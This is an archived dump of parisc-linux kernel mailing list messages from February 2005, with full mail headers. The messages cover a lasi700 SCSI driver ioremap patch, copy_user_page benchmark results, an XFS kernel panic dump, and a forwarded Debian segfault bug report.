	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ae9zKvUUTlIv47eQeGhrSVVGU2poZRmQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22366

Hi Willi,

Thanks!
This patch worked. I'll commit it now...

Helge

On Saturday 19 February 2005 17:53, Matthew Wilcox wrote:
> On Sat, Feb 19, 2005 at 04:40:07PM +0000, Matthew Wilcox wrote:
> > On Sat, Feb 19, 2005 at 12:34:30PM +0100, Helge Deller wrote:
> > > I get random messages from the 53c700 scsi driver (see below). 
> > > Any ideas ?
> > > _raw_foo() called with bad address 0xf0106121
> > > Backtrace:
> > >  [<10104ce4>] __raw_bad_addr+0x64/0x70
> > >  [<1028edd8>] NCR_700_start_command+0x3e8/0x78c
> > 
> > Yup.  This is a missing ioremap() in the 53c700 driver.  I'll have a
> > quick look, see if it's easily fixable (should be).  If the dmesg noise
> > annoys you, you can just turn off CONFIG_DEBUG_IOREMAP, but thanks for
> > reporting it -- it's an important step towards turning on HPPA_IOREMAP ...
> 
> Here's the patch I'm compiling now ...
> 
> --- drivers/scsi/lasi700.c      10 Dec 2004 20:46:33 -0000      1.10
> +++ drivers/scsi/lasi700.c      19 Feb 2005 16:47:11 -0000
> @@ -112,7 +112,7 @@ lasi700_probe(struct parisc_device *dev)
>  
>         hostdata->dev = &dev->dev;
>         dma_set_mask(&dev->dev, 0xffffffffUL);
> -       hostdata->base = base;
> +       hostdata->base = ioremap(base, 0x100);
>         hostdata->differential = 0;
>  
>         if (dev->id.sversion == LASI_700_SVERSION) {
> @@ -138,6 +138,7 @@ lasi700_probe(struct parisc_device *dev)
>         return 0;
>  
>   out_kfree:
> +       iounmap(hostdata->base);
>         kfree(hostdata);
>         return -ENODEV;
>  }
> @@ -152,6 +153,7 @@ lasi700_driver_remove(struct parisc_devi
>         scsi_remove_host(host);
>         NCR_700_release(host);
>         free_irq(host->irq, host);
> +       iounmap(hostdata->base);
>         kfree(hostdata);
>  
>         return 0;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] revisit copy_user_page_asm microbenchmarks
Date: Sun, 20 Feb 2005 16:44:15 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <20050220234415.GC30361@colo.lackof.org>
References: <20050105055412.68E06495698@palinux.hppa>
	<20050107095143.GN18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623675 12765 80.91.229.3 (22 Nov 2014 02:34:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2005 23:43:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 21 Feb 2005 00:43:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E84A07D63F;
	Sun, 20 Feb 2005 16:44:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24823-06; Sun, 20 Feb 2005 16:44:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D28727D639;
	Sun, 20 Feb 2005 16:44:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 48FFB7D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 16:44:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24442-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 16:44:01 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BCF3D7D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 16:44:01 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 562AD298038;
	Sun, 20 Feb 2005 16:44:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30422-10; Sun, 20 Feb 2005 16:44:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D9D23298010; Sun, 20 Feb 2005 16:44:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050107095143.GN18497@tausq.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xExyKqoCTlIv47eQeGhrSVVGU2poZdnX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22367

On Fri, Jan 07, 2005 at 01:51:43AM -0800, Randolph Chung wrote:
> Grant, do you have any results of a somewhat more macrobenchmark that
> shows what happens with this patch installed?

I don't. I wanted to run the ones that you suggested but just
didn't have time. Before this gets totally lost, here are the results
I did collect for 64-bit kernel using ldd/std in copy_user_page_asm.
Can someone collect a comparable set using the original copy_user_page_asm?

This is on J6700 (750Mhz PA8700) w/4GB RAM.

>  e.g. what does it do to "dd if=/dev/zero of=foo bs=1k count=500000"?

Linux gggj6k 2.6.10-pa6-64SMP #1 SMP Thu Jan 6 22:18:36 PST 2005 parisc64 GNU/Linux

root@gggj6k:/home# time dd if=/dev/zero of=foo bs=1k count=500000

"dd" time	"dd" B/s	"time" real	user		sys
17.018413	30085062	0m17.034s	0m0.136s	0m11.153s
15.877587	32246713	0m21.932s	0m0.145s	0m11.866s
11.948184	42851700	0m12.642s	0m0.149s	0m11.785s
14.944728	34259573	0m27.936s	0m0.129s	0m11.861s
12.329126	41527680	0m13.035s	0m0.156s	0m11.896s
11.369272	45033666	0m22.073s	0m0.134s	0m11.605s


> what does it do to a kernel compile?

2.6.10-rc3-pa8 kernel:
real    47m42.656s
user    20m15.723s
sys     66m52.259s


> what does it do to a bonnie run?

Linux gggj6k 2.6.10-pa6-64SMP #1 SMP Thu Jan 6 22:18:36 PST 2005 parisc64 GNU/Linux

root@gggj6k:/mnt# bonnie -u grundler -f -x 3 -m 64SMP -d /mnt
Using uid:1001, gid:1001.
name,file_size,putc,putc_cpu,put_block,put_block_cpu,rewrite,rewrite_cpu,getc,getc_cpu,get_block,get_block_cpu,seeks,seeks_cpu,num_files,seq_create,seq_create_cpu,seq_stat,seq_stat_cpu,seq_del,seq_del_cpu,ran_create,ran_create_cpu,ran_stat,ran_stat_cpu,ran_del,ran_del_cpu
Writing intelligently...done
Rewriting...done
Reading intelligently...done
start 'em...done...done...done...
Create files in sequential order...done.
Stat files in sequential order...done.
Delete files in sequential order...done.
Create files in random order...done.
Stat files in random order...done.
Delete files in random order...done.
64SMP,16G,,,57333,25,15918,12,,,25829,10,166.8,1,16,2368,98,+++++,+++,+++++,+++,2589,99,+++++,+++,7093,99
...
64SMP,16G,,,58014,26,15895,12,,,25461,10,181.7,1,16,2416,98,+++++,+++,+++++,+++,2598,99,+++++,+++,7361,99
...
64SMP,16G,,,57416,25,16201,13,,,25841,10,186.1,1,16,2452,96,+++++,+++,+++++,+++,2621,99,+++++,+++,7544,100



And one more test that I'm not sure is relevant:

	time sgp_dd if=/dev/sda of=/dev/sdc bpt=16k count=17781520

2.6.10-rc3-pa8 kernel:
real    15m13.011s
user    0m0.042s
sys     4m6.301s


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Sun, 20 Feb 2005 17:04:12 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20050221000412.GA30800@colo.lackof.org>
References: <20050216065539.GB5251@colo.lackof.org>
	<20050219222723.GA12572@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623675 12769 80.91.229.3 (22 Nov 2014 02:34:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2005 00:03:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 21 Feb 2005 01:03:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E3877D649;
	Sun, 20 Feb 2005 17:04:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25416-01; Sun, 20 Feb 2005 17:04:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D5A97D640;
	Sun, 20 Feb 2005 17:04:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA6C67D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 17:03:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25072-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 17:03:58 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4CBF97D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 17:03:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 03EA7298010
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 17:04:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30965-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 17:04:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 91A1729800A; Sun, 20 Feb 2005 17:04:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050219222723.GA12572@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MElyKn9eTlIv47eQeGhrSVVGU2poZVnA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22368

On Sat, Feb 19, 2005 at 03:27:23PM -0700, Grant Grundler wrote:
> This suggests there is a problem with Astro/Elroy programming
> where "Sprockets" firmware (for Astro based workstations) does
> something different than PAT PDC firmware on a500.

This was not the only issue, but the first one.
Two more bits in the IOC_CTRL register were getting
set on j6k (vs A500):
	D4	Disable 4-byte coalescing. Apperently could
		result in 12 byte transfers (4 byte-lanes not
		enabled on the second 8 byte transaction)
		that "some devices don't tolerate".
		Documentation doesn't list these devices.

	DD	Disable Distributed LMMIO coalescing.
		Disables coalescing for all PIO MMIO transactions
		to addresses below distributed LMMIO ranges.
		Directed LMMIO and other GMMIO ranges
		may still coalesce (e.g. graphics buffers usually
		get a directed range).

Spew ran for an hour and managed to push 80+ GB
of data to 6 disks. I'll commit this change shortly.

Then I got ambitious and ran "make clean" and XFS panic'd.
I expect this is a different problem.
Same one I've seen before:

[ no backtrace :^( ]

Kernel Fault: Code=26 regs=000000006cd40c10 (Addr=00000000000000c8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000011001111111100001111 Not tainted
r00-03  0000000000000000 000000001026d1d0 000000000028afa8 0000000000000000
r04-07  0000000000243000 0000000000000000 0000000000000000 00000000fff00800
r08-11  00000000156b60b8 0000000000000000 0000000000000008 0000000000000000
r12-15  0000000000000008 0000000000000000 0000000000000000 000000006cd40768
r16-19  0008000000000001 0000000000000000 0000000000000022 0000000000000000
r20-23  0000000000000000 0000000000000000 00000000fdfafbf8 0000000000000000
r24-27  0000000000000000 0000000000000000 00000000fdfafb38 00000000105424c0
r28-31  00000000fdfafb38 000000006cd40c70 000000006cd40c10 00000000a0000000
sr0-3   000000000044d000 0000000000000000 0000000000000000 000000000044f000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000000028afc0 000000000028afdc


Press Q/q to quit, Enter to continue: 
 IIR: 50d30190    ISR: 0000000000000000  IOR: 00000000000000c8
 CPU:        0   CR30: 000000006cd40000 CR31: 000000001050c000
 ORIG_R28: 00000000fda4fa80
 IAOQ[0]: xfs_btree_init_cursor+0x70/0x1b8 [xfs]
 IAOQ[1]: xfs_btree_init_cursor+0x8c/0x1b8 [xfs]
 RP(r2): xfs_btree_init_cursor+0x58/0x1b8 [xfs]
Kernel panic - not syncing: Kernel Fault
 

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: Bug#296274: kernel-image-2.6.8-2-32: forward
	bug - segmentation fault : kernel cause ?
Date: Mon, 21 Feb 2005 13:57:27 -0500
Lines: 103
Approved: news@gmane.org
Message-ID: <20050221185727.GA4631@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623675 12773 80.91.229.3 (22 Nov 2014 02:34:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2005 18:58:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 21 Feb 2005 19:58:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1252D7D627;
	Mon, 21 Feb 2005 11:59:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29826-10; Mon, 21 Feb 2005 11:59:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C2B87D629;
	Mon, 21 Feb 2005 11:59:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1EF07D615
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 11:59:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29826-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 11:59:14 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 158B07D611
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 11:59:14 -0700 (MST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 7306117050; Mon, 21 Feb 2005 13:58:34 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-2105459020-52656d6f746546617454697265-494e424f582e4f7574626f78: 1109012254-0315408559102-v4.0.8
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EUNxKk9DTlIv47eQeGhrSVVGU2poZRnx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22369

----- Forwarded message from Roel Teuwen <Roel.Teuwen@gmail.com> -----

From: Roel Teuwen <Roel.Teuwen@gmail.com>
Subject: Bug#296274: kernel-image-2.6.8-2-32: forward bug - segmentation fault : kernel cause ?
Message-Id: <200502211334.OAA15895@ruby.bro.cpqcorp.net>
To: Debian Bug Tracking System <submit@bugs.debian.org>
Date: Mon, 21 Feb 2005 14:34:24 +0100
X-Mailer: reportbug 3.8

Package: kernel-image-2.6.8-2-32
Version: 2.6.8-6
Severity: grave
Justification: renders package unusable


After filing bugreport #294167 (apt-listbugs: segmentation fault on
hppa), it was closed by the developer, stating the cause is the kernel
because of kernel messages in dmesg.

It was my understanding that these messages were informational and
indicative of a programming flaw in the application, but complying with
the request anyway.

Thanks for looking into this and providing information to the
apt-listbugs maintainer if needed.

Best regards,

Roel

dmesg kernel messages were :

do_page_fault() pid=1556 command='apt-listbugs' type=7
address=0x4027d3af
vm_start = 0x4022a000, vm_end = 0x40312000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
     PSW: 00000000000001001111111100001111 Not tainted
     r00-03  00000000 fffff000 4027d3a3 4033b458
     r04-07  40325e58 4033b538 40321d8c 410b6590
     r08-11  40338e24 00989680 00000001 0015430c
     r12-15  00154308 00000000 403246da 00000611
     r16-19  407e9bf0 00000000 00000000 40325e58
     r20-23  00000000 00000000 410b6000 00000001
     r24-27  00000001 410b6590 00000000 00020b9c
     r28-31  00000000 00000168 410b6600 407d7edb
     sr0-3   00000000 00000000 00000000 00000028
     sr4-7   00000028 00000028 00000028 00000028

     IASQ: 00000028 00000028 IAOQ: 4027d3af 4027d3b3
     IIR: 0cca1280    ISR: 00000028  IOR: 40321d8c
     CPU:        0   CR30: 144ec000 CR31: 103d0000
     ORIG_R28: 00000000
     IAOQ[0]: 0x4027d3af
     IAOQ[1]: 0x4027d3b3
     RP(r2): 0x4027d3a3

apt-listbugs (pid 1556): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
     PSW: 00000000000001001111111100001111 Not tainted
     r00-03  00000000 1043c010 10113c00 160a16c4
     r04-07  410b6600 1645f320 410b6624 1645f51c
     r08-11  00000000 00000000 160a16c4 0000000b
     r12-15  00154308 00000000 403246da 00000611
     r16-19  1645f320 00000000 00000000 0000000b
     r20-23  00000001 00030001 410b6624 144ec088
     r24-27  144ec088 144ec088 410b6624 10347010
     r28-31  0000000b 00000000 144ec340 101f764c
     sr0-3   00000000 00000000 00000000 00000028
     sr4-7   00000000 00000000 00000000 00000000

     IASQ: 00000000 00000000 IAOQ: 101364d4 101364d8
     IIR: 0f53d280    ISR: 00000028  IOR: 410b6624
     CPU:        0   CR30: 144ec000 CR31: 103d0000
     ORIG_R28: 103d0000
     IAOQ[0]: copy_siginfo_to_user+0x468/0x490
     IAOQ[1]: copy_siginfo_to_user+0x46c/0x490
     RP(r2): setup_rt_frame+0x98/0x42c

-- System Information:
Debian Release: 3.1
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: hppa (parisc)
Kernel: Linux 2.6.8-2-32
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)

Versions of packages kernel-image-2.6.8-2-32 depends on:
ii  coreutils [fileutils]         5.2.1-2    The GNU core utilities
ii  initrd-tools                  0.1.77     tools to create initrd image for p
ii  module-init-tools             3.2-pre1-2 tools for managing Linux kernel mo
ii  palo                          1.6        Linux boot loader for parisc/hppa

-- no debconf information

----- End forwarded message -----
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Mon, 21 Feb 2005 16:58:04 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20050221165804.GD28741@parcelfarce.linux.theplanet.co.uk>
References: <20050218062312.GA11968@colo.lackof.org>
	<20050218092835.0E74E3658E2@mail.esiee.fr>
	<20050219022808.GA28925@colo.lackof.org>
	<200502190417.59359.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623676 12774 80.91.229.3 (22 Nov 2014 02:34:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2005 16:58:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 21 Feb 2005 17:58:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8C727D627;
	Mon, 21 Feb 2005 09:58:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29507-08; Mon, 21 Feb 2005 09:58:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 198E57D629;
	Mon, 21 Feb 2005 09:58:59 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
